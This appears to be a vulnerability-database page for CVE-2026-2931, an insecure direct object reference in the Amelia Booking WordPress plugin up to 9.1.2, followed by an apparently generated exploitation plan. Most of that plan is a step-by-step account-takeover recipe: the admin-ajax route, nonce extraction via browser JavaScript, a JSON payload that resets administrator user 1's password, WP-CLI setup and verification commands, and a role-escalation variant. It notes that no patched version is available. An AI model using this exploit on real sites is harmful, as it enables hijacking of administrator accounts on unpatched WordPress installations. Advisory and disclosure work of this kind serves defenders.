Amelia Booking <= 9.1.2 - Authenticated (Customer+) Insecure Direct Object Reference to Arbitrary User Password Change
Description
The Amelia Booking plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 9.1.2. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for authenticated attackers with customer-level permissions or above to change user passwords and potentially take over administrator accounts. The vulnerability is in the pro plugin, which has the same slug.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=9.1.2Source Code
WordPress.org SVNPatched version not available.
This plan outlines the research and exploitation strategy for **CVE-2026-2931**, an IDOR vulnerability in the Amelia Booking plugin that allows authenticated customers to change the password of any user, including administrators. ### 1. Vulnerability Summary The Amelia Booking plugin (up to 9.1.2) …
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-2931, an IDOR vulnerability in the Amelia Booking plugin that allows authenticated customers to change the password of any user, including administrators.
1. Vulnerability Summary
The Amelia Booking plugin (up to 9.1.2) contains an Insecure Direct Object Reference (IDOR) in its user management logic. The plugin exposes internal API routes via admin-ajax.php (action: wp_amelia_api) or the REST API. When a user (even with "Customer" permissions) attempts to update a profile, the backend fails to verify that the id of the user being modified matches the id of the currently authenticated user. By providing an arbitrary user ID (e.g., ID 1 for the administrator), an attacker can trigger a password reset for that account.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
wp_amelia_api(This is the primary gateway for Amelia's internal Slim-based router). - Route:
/users/{id}(PUT/POST request). - Vulnerable Parameter: The
{id}in the URL path and/or theidwithin the JSON payload. - Payload Parameters:
password,password_confirm(orpasswordConfirm), andemail. - Authentication: Authenticated. The attacker must have a user account with at least the "Amelia Customer" role.
- Preconditions: The Amelia plugin must be active, and a "Customer" user must be created.
3. Code Flow (Inferred)
- Entry Point: The request hits
AmeliaBooking\Infrastructure\WP\Helper\WpDateTimeHelper(or similar bootstrap) which registers thewp_ajax_wp_amelia_apiandwp_ajax_nopriv_wp_amelia_apihooks. - Routing: The
wp_amelia_apihandler passes therouteparameter to Amelia's internal Slim application container. - Controller: The route
/users/{id}is mapped to a controller, likelyAmeliaBooking\Application\Controller\User\UserController::updateorCustomerController::update. - Vulnerability: Inside the
updatemethod, the code retrieves the user object based on the$params['id']. It performs a capability check (e.g.,is_user_logged_in()) and verifies a nonce, but it does not check if the authenticated user's ID matches the target$params['id'], nor does it restrict "Customers" from modifying "Administrators". - Sink: The controller calls a service (e.g.,
UserService) which eventually callswp_set_password($new_password, $user_id).
4. Nonce Acquisition Strategy
Amelia requires a nonce for its API requests, usually localized as wpAmeliaNonce.
- Shortcode Identification: Amelia's customer panel is typically rendered via the
[ameliacustomerpanel]shortcode. - Setup: Create a page containing this shortcode.
- Extraction:
- Navigate to the page as the authenticated "Customer" user.
- The nonce is usually found in the
ameliaBookingDataorwpAmeliaLabelsglobal JavaScript objects. - JS Extraction Command:
browser_eval("window.ameliaBookingData?.nonce || window.wpAmeliaLabels?.nonce") - Note: If the nonce is passed via a header, it is typically
Amelia: <nonce>.
5. Exploitation Strategy
The exploit involves sending a POST (or PUT simulated via POST) request to the Amelia API handler targeting the administrator ID.
- Step 1: Authentication: Log in as a user with the
Amelia Customerrole. - Step 2: Target Identification: Identify the Administrator ID (Standardly
1). - Step 3: Construct the Request:
- URL:
http://<target>/wp-admin/admin-ajax.php?action=wp_amelia_api&route=/users/1 - Method:
POST - Headers:
Content-Type: application/jsonAmelia: <NONCE_EXTRACTED_IN_STEP_4>
- Payload:
{ "id": 1, "password": "PwnedPassword123!", "passwordConfirm": "PwnedPassword123!", "email": "admin@example.com" } - Note: Amelia routes sometimes require a
PUTmethod. Sinceadmin-ajax.phpis primarilyPOST, Amelia often checks for a_method: PUTfield in the JSON or uses theroutequery param logic to determine the controller action.
- URL:
6. Test Data Setup
- Administrator: Ensure a user with ID
1exists (default). - Attacker User:
wp user create attacker attacker@example.com --role=subscriber # Amelia roles are often managed via its own settings, but 'subscriber' is sufficient for the WP login. # Ensure the user is recognized as an Amelia Customer by booking a dummy appointment or via: wp amelia create_user --id=attacker_wp_id --type=customer (if CLI available) - Public Page:
wp post create --post_type=page --post_title="Amelia Panel" --post_status=publish --post_content='[ameliacustomerpanel]'
7. Expected Results
- Success Response: The server returns a
200 OKwith a JSON object containing the modified user data:{"status": "success", "data": {...}}. - Effect: The password for the user with ID
1is immediately changed toPwnedPassword123!. - Failure Response: A
403 Forbidden(nonce/auth failure) or401 Unauthorized.
8. Verification Steps
- Attempt Login: Try to log in as the administrator with the new password using the
http_requesttool. - WP-CLI Check:
Expected output:# Check the user's last password change date if meta is tracked, # or simply verify login capability: wp user check-password 1 "PwnedPassword123!"Success: Password is correct.
9. Alternative Approaches
- REST API Path: Amelia also registers REST routes. If the AJAX endpoint is blocked, try:
POST /wp-json/ameliabooking/v1/users/1 - Field Variation: Some Amelia versions use different camelCase vs snake_case for parameters. If
passwordConfirmfails, trypassword_confirm. - Role Escalation: Check if the payload accepts a
roleparameter (e.g.,"role": "admin"), which would be a direct privilege escalation via the same IDOR.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.